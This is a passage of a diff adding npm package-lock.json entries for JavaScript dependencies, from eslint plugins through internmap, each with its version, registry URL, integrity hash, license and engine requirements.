"array.prototype.tosorted": "^1.1.4",+ "doctrine": "^2.1.0",+ "es-iterator-helpers": "^1.2.1",+ "estraverse": "^5.3.0",+ "hasown": "^2.0.2",+ "jsx-ast-utils": "^2.4.1 || ^3.0.0",+ "minimatch": "^3.1.2",+ "object.entries": "^1.1.9",+ "object.fromentries": "^2.0.8",+ "object.values": "^1.2.1",+ "prop-types": "^15.8.1",+ "resolve": "^2.0.0-next.5",+ "semver": "^6.3.1",+ "string.prototype.matchall": "^4.0.12",+ "string.prototype.repeat": "^1.0.0"+ },+ "engines": {+ "node": ">=4"+ },+ "peerDependencies": {+ "eslint": "^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7"+ }+ },+ "node_modules/eslint-plugin-react-hooks": {+ "version": "5.2.0",+ "resolved": "https://registry.npmjs.org/eslint-plugin-react-hooks/-/eslint-plugin-react-hooks-5.2.0.tgz",+ "integrity": "sha512-+f15FfK64YQwZdJNELETdn5ibXEUQmW1DZL6KXhNnc2heoy/sg9VJJeT7n8TlMWouzWqSWavFkIhHyIbIAEapg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=10"+ },+ "peerDependencies": {+ "eslint": "^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0"+ }+ },+ "node_modules/eslint-plugin-react-refresh": {+ "version": "0.4.24",+ "resolved": "https://registry.npmjs.org/eslint-plugin-react-refresh/-/eslint-plugin-react-refresh-0.4.24.tgz",+ "integrity": "sha512-nLHIW7TEq3aLrEYWpVaJ1dRgFR+wLDPN8e8FpYAql/bMV2oBEfC37K0gLEGgv9fy66juNShSMV8OkTqzltcG/w==",+ "dev": true,+ "license": "MIT",+ "peerDependencies": {+ "eslint": ">=8.40"+ }+ },+ "node_modules/eslint-scope": {+ "version": "8.4.0",+ "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-8.4.0.tgz",+ "integrity": "sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==",+ "dev": true,+ "license": "BSD-2-Clause",+ "dependencies": {+ "esrecurse": "^4.3.0",+ "estraverse": "^5.2.0"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "url": "https://opencollective.com/eslint"+ }+ },+ "node_modules/eslint-visitor-keys": {+ "version": "4.2.1",+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-4.2.1.tgz",+ "integrity": "sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==",+ "dev": true,+ "license": "Apache-2.0",+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "url": "https://opencollective.com/eslint"+ }+ },+ "node_modules/espree": {+ "version": "10.4.0",+ "resolved": "https://registry.npmjs.org/espree/-/espree-10.4.0.tgz",+ "integrity": "sha512-j6PAQ2uUr79PZhBjP5C5fhl8e39FmRnOjsD5lGnWrFU8i2G776tBK7+nP8KuQUTTyAZUwfQqXAgrVH5MbH9CYQ==",+ "dev": true,+ "license": "BSD-2-Clause",+ "dependencies": {+ "acorn": "^8.15.0",+ "acorn-jsx": "^5.3.2",+ "eslint-visitor-keys": "^4.2.1"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "url": "https://opencollective.com/eslint"+ }+ },+ "node_modules/esquery": {+ "version": "1.6.0",+ "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.6.0.tgz",+ "integrity": "sha512-ca9pw9fomFcKPvFLXhBKUK90ZvGibiGOvRJNbjljY7s7uq/5YO4BOzcYtJqExdx99rF6aAcnRxHmcUHcz6sQsg==",+ "dev": true,+ "license": "BSD-3-Clause",+ "dependencies": {+ "estraverse": "^5.1.0"+ },+ "engines": {+ "node": ">=0.10"+ }+ },+ "node_modules/esrecurse": {+ "version": "4.3.0",+ "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.3.0.tgz",+ "integrity": "sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==",+ "dev": true,+ "license": "BSD-2-Clause",+ "dependencies": {+ "estraverse": "^5.2.0"+ },+ "engines": {+ "node": ">=4.0"+ }+ },+ "node_modules/estraverse": {+ "version": "5.3.0",+ "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz",+ "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==",+ "dev": true,+ "license": "BSD-2-Clause",+ "engines": {+ "node": ">=4.0"+ }+ },+ "node_modules/estree-util-is-identifier-name": {+ "version": "3.0.0",+ "resolved": "https://registry.npmjs.org/estree-util-is-identifier-name/-/estree-util-is-identifier-name-3.0.0.tgz",+ "integrity": "sha512-hFtqIDZTIUZ9BXLb8y4pYGyk6+wekIivNVTcmvk8NoOh+VeRn5y6cEHzbURrWbfp1fIqdVipilzj+lfaadNZmg==",+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/esutils": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz",+ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==",+ "dev": true,+ "license": "BSD-2-Clause",+ "engines": {+ "node": ">=0.10.0"+ }+ },+ "node_modules/eventemitter3": {+ "version": "5.0.1",+ "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz",+ "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA=="+ },+ "node_modules/extend": {+ "version": "3.0.2",+ "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz",+ "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g=="+ },+ "node_modules/fast-deep-equal": {+ "version": "3.1.3",+ "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz",+ "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/fast-glob": {+ "version": "3.3.3",+ "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz",+ "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@nodelib/fs.stat": "^2.0.2",+ "@nodelib/fs.walk": "^1.2.3",+ "glob-parent": "^5.1.2",+ "merge2": "^1.3.0",+ "micromatch": "^4.0.8"+ },+ "engines": {+ "node": ">=8.6.0"+ }+ },+ "node_modules/fast-glob/node_modules/glob-parent": {+ "version": "5.1.2",+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",+ "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "is-glob": "^4.0.1"+ },+ "engines": {+ "node": ">= 6"+ }+ },+ "node_modules/fast-json-stable-stringify": {+ "version": "2.1.0",+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",+ "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/fast-levenshtein": {+ "version": "2.0.6",+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",+ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/fastq": {+ "version": "1.19.1",+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz",+ "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "reusify": "^1.0.4"+ }+ },+ "node_modules/file-entry-cache": {+ "version": "8.0.0",+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-8.0.0.tgz",+ "integrity": "sha512-XXTUwCvisa5oacNGRP9SfNtYBNAMi+RPwBFmblZEF7N7swHYQS6/Zfk7SRwx4D5j3CH211YNRco1DEMNVfZCnQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "flat-cache": "^4.0.0"+ },+ "engines": {+ "node": ">=16.0.0"+ }+ },+ "node_modules/fill-range": {+ "version": "7.1.1",+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",+ "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "to-regex-range": "^5.0.1"+ },+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/find-up": {+ "version": "5.0.0",+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz",+ "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "locate-path": "^6.0.0",+ "path-exists": "^4.0.0"+ },+ "engines": {+ "node": ">=10"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/flat-cache": {+ "version": "4.0.1",+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-4.0.1.tgz",+ "integrity": "sha512-f7ccFPK3SXFHpx15UIGyRJ/FJQctuKZ0zVuN3frBo4HnK3cay9VEW0R6yPYFHC0AgqhukPzKjq22t5DmAyqGyw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "flatted": "^3.2.9",+ "keyv": "^4.5.4"+ },+ "engines": {+ "node": ">=16"+ }+ },+ "node_modules/flatted": {+ "version": "3.3.3",+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz",+ "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==",+ "dev": true,+ "license": "ISC"+ },+ "node_modules/follow-redirects": {+ "version": "1.15.11",+ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",+ "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==",+ "funding": [+ {+ "type": "individual",+ "url": "https://github.com/sponsors/RubenVerborgh"+ }+ ],+ "engines": {+ "node": ">=4.0"+ },+ "peerDependenciesMeta": {+ "debug": {+ "optional": true+ }+ }+ },+ "node_modules/for-each": {+ "version": "0.3.5",+ "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",+ "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",+ "dev": true,+ "dependencies": {+ "is-callable": "^1.2.7"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/form-data": {+ "version": "4.0.4",+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.4.tgz",+ "integrity": "sha512-KrGhL9Q4zjj0kiUt5OO4Mr/A/jlI2jDYs5eHBpYHPcBEVSiipAvn2Ko2HnPe20rmcuuvMHNdZFp+4IlGTMF0Ow==",+ "dependencies": {+ "asynckit": "^0.4.0",+ "combined-stream": "^1.0.8",+ "es-set-tostringtag": "^2.1.0",+ "hasown": "^2.0.2",+ "mime-types": "^2.1.12"+ },+ "engines": {+ "node": ">= 6"+ }+ },+ "node_modules/fsevents": {+ "version": "2.3.3",+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",+ "dev": true,+ "hasInstallScript": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "darwin"+ ],+ "engines": {+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"+ }+ },+ "node_modules/function-bind": {+ "version": "1.1.2",+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",+ "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/function.prototype.name": {+ "version": "1.1.8",+ "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz",+ "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==",+ "dev": true,+ "dependencies": {+ "call-bind": "^1.0.8",+ "call-bound": "^1.0.3",+ "define-properties": "^1.2.1",+ "functions-have-names": "^1.2.3",+ "hasown": "^2.0.2",+ "is-callable": "^1.2.7"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/functions-have-names": {+ "version": "1.2.3",+ "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",+ "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",+ "dev": true,+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/generator-function": {+ "version": "2.0.1",+ "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz",+ "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/gensync": {+ "version": "1.0.0-beta.2",+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",+ "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/get-intrinsic": {+ "version": "1.3.0",+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",+ "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",+ "dependencies": {+ "call-bind-apply-helpers": "^1.0.2",+ "es-define-property": "^1.0.1",+ "es-errors": "^1.3.0",+ "es-object-atoms": "^1.1.1",+ "function-bind": "^1.1.2",+ "get-proto": "^1.0.1",+ "gopd": "^1.2.0",+ "has-symbols": "^1.1.0",+ "hasown": "^2.0.2",+ "math-intrinsics": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/get-nonce": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/get-nonce/-/get-nonce-1.0.1.tgz",+ "integrity": "sha512-FJhYRoDaiatfEkUK8HKlicmu/3SGFD51q3itKDGoSTysQJBnfOcxU5GxnhE1E6soB76MbT0MBtnKJuXyAx+96Q==",+ "engines": {+ "node": ">=6"+ }+ },+ "node_modules/get-proto": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",+ "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",+ "dependencies": {+ "dunder-proto": "^1.0.1",+ "es-object-atoms": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/get-symbol-description": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.1.0.tgz",+ "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==",+ "dev": true,+ "dependencies": {+ "call-bound": "^1.0.3",+ "es-errors": "^1.3.0",+ "get-intrinsic": "^1.2.6"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/glob-parent": {+ "version": "6.0.2",+ "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz",+ "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==",+ "dev": true,+ "license": "ISC",+ "dependencies": {+ "is-glob": "^4.0.3"+ },+ "engines": {+ "node": ">=10.13.0"+ }+ },+ "node_modules/globals": {+ "version": "16.5.0",+ "resolved": "https://registry.npmjs.org/globals/-/globals-16.5.0.tgz",+ "integrity": "sha512-c/c15i26VrJ4IRt5Z89DnIzCGDn9EcebibhAOjw5ibqEHsE1wLUgkPn9RDmNcUKyU87GeaL633nyJ+pplFR2ZQ==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=18"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/globalthis": {+ "version": "1.0.4",+ "resolved": "https://registry.npmjs.org/globalthis/-/globalthis-1.0.4.tgz",+ "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==",+ "dev": true,+ "dependencies": {+ "define-properties": "^1.2.1",+ "gopd": "^1.0.1"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/globrex": {+ "version": "0.1.2",+ "resolved": "https://registry.npmjs.org/globrex/-/globrex-0.1.2.tgz",+ "integrity": "sha512-uHJgbwAMwNFf5mLst7IWLNg14x1CkeqglJb/K3doi4dw6q2IvAAmM/Y81kevy83wP+Sst+nutFTYOGg3d1lsxg==",+ "dev": true+ },+ "node_modules/gopd": {+ "version": "1.2.0",+ "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",+ "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/graphemer": {+ "version": "1.4.0",+ "resolved": "https://registry.npmjs.org/graphemer/-/graphemer-1.4.0.tgz",+ "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/has-bigints": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/has-bigints/-/has-bigints-1.1.0.tgz",+ "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==",+ "dev": true,+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/has-flag": {+ "version": "4.0.0",+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",+ "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=8"+ }+ },+ "node_modules/has-property-descriptors": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",+ "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",+ "dev": true,+ "dependencies": {+ "es-define-property": "^1.0.0"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/has-proto": {+ "version": "1.2.0",+ "resolved": "https://registry.npmjs.org/has-proto/-/has-proto-1.2.0.tgz",+ "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==",+ "dev": true,+ "dependencies": {+ "dunder-proto": "^1.0.0"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/has-symbols": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",+ "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/has-tostringtag": {+ "version": "1.0.2",+ "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz",+ "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==",+ "dependencies": {+ "has-symbols": "^1.0.3"+ },+ "engines": {+ "node": ">= 0.4"+ },+ "funding": {+ "url": "https://github.com/sponsors/ljharb"+ }+ },+ "node_modules/hasown": {+ "version": "2.0.2",+ "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",+ "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",+ "dependencies": {+ "function-bind": "^1.1.2"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/hast-util-to-jsx-runtime": {+ "version": "2.3.6",+ "resolved": "https://registry.npmjs.org/hast-util-to-jsx-runtime/-/hast-util-to-jsx-runtime-2.3.6.tgz",+ "integrity": "sha512-zl6s8LwNyo1P9uw+XJGvZtdFF1GdAkOg8ujOw+4Pyb76874fLps4ueHXDhXWdk6YHQ6OgUtinliG7RsYvCbbBg==",+ "dependencies": {+ "@types/estree": "^1.0.0",+ "@types/hast": "^3.0.0",+ "@types/unist": "^3.0.0",+ "comma-separated-tokens": "^2.0.0",+ "devlop": "^1.0.0",+ "estree-util-is-identifier-name": "^3.0.0",+ "hast-util-whitespace": "^3.0.0",+ "mdast-util-mdx-expression": "^2.0.0",+ "mdast-util-mdx-jsx": "^3.0.0",+ "mdast-util-mdxjs-esm": "^2.0.0",+ "property-information": "^7.0.0",+ "space-separated-tokens": "^2.0.0",+ "style-to-js": "^1.0.0",+ "unist-util-position": "^5.0.0",+ "vfile-message": "^4.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/hast-util-whitespace": {+ "version": "3.0.0",+ "resolved": "https://registry.npmjs.org/hast-util-whitespace/-/hast-util-whitespace-3.0.0.tgz",+ "integrity": "sha512-88JUN06ipLwsnv+dVn+OIYOvAuvBMy/Qoi6O7mQHxdPXpjy+Cd6xRkWwux7DKO+4sYILtLBRIKgsdpS2gQc7qw==",+ "dependencies": {+ "@types/hast": "^3.0.0"+ },+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/html-url-attributes": {+ "version": "3.0.1",+ "resolved": "https://registry.npmjs.org/html-url-attributes/-/html-url-attributes-3.0.1.tgz",+ "integrity": "sha512-ol6UPyBWqsrO6EJySPz2O7ZSr856WDrEzM5zMqp+FJJLGMW35cLYmmZnl0vztAZxRUoNZJFTCohfjuIJ8I4QBQ==",+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/unified"+ }+ },+ "node_modules/husky": {+ "version": "8.0.3",+ "resolved": "https://registry.npmjs.org/husky/-/husky-8.0.3.tgz",+ "integrity": "sha512-+dQSyqPh4x1hlO1swXBiNb2HzTDN1I2IGLQx1GrBuiqFJfoMrnZWwVmatvSiO+Iz8fBUnf+lekwNo4c2LlXItg==",+ "dev": true,+ "bin": {+ "husky": "lib/bin.js"+ },+ "engines": {+ "node": ">=14"+ },+ "funding": {+ "url": "https://github.com/sponsors/typicode"+ }+ },+ "node_modules/ignore": {+ "version": "5.3.2",+ "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.3.2.tgz",+ "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">= 4"+ }+ },+ "node_modules/immer": {+ "version": "10.2.0",+ "resolved": "https://registry.npmjs.org/immer/-/immer-10.2.0.tgz",+ "integrity": "sha512-d/+XTN3zfODyjr89gM3mPq1WNX2B8pYsu7eORitdwyA2sBubnTl3laYlBk4sXY5FUa5qTZGBDPJICVbvqzjlbw==",+ "funding": {+ "type": "opencollective",+ "url": "https://opencollective.com/immer"+ }+ },+ "node_modules/import-fresh": {+ "version": "3.3.1",+ "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.3.1.tgz",+ "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "parent-module": "^1.0.0",+ "resolve-from": "^4.0.0"+ },+ "engines": {+ "node": ">=6"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/imurmurhash": {+ "version": "0.1.4",+ "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz",+ "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=0.8.19"+ }+ },+ "node_modules/inline-style-parser": {+ "version": "0.2.6",+ "resolved": "https://registry.npmjs.org/inline-style-parser/-/inline-style-parser-0.2.6.tgz",+ "integrity": "sha512-gtGXVaBdl5mAes3rPcMedEBm12ibjt1kDMFfheul1wUAOVEJW60voNdMVzVkfLN06O7ZaD/rxhfKgtlgtTbMjg=="+ },+ "node_modules/internal-slot": {+ "version": "1.1.0",+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.1.0.tgz",+ "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==",+ "dev": true,+ "dependencies": {+ "es-errors": "^1.3.0",+ "hasown": "^2.0.2",+ "side-channel": "^1.1.0"+ },+ "engines": {+ "node": ">= 0.4"+ }+ },+ "node_modules/internmap": {+ "version": "2.0.3",+ "resolved": "https://registry.npmjs.org/internmap/-/internmap-2.0.3.tgz",+ "integrity": "sha512-5Hh7Y1wQbvY5ooGgPbDaL5iYLAPzMTUrjMulskHLH6wnv/A+1q5rgEaiuqEjB+oxGXIVZs1FF+R/KPN3ZSQYYg==",+ "engines": {+ "node": 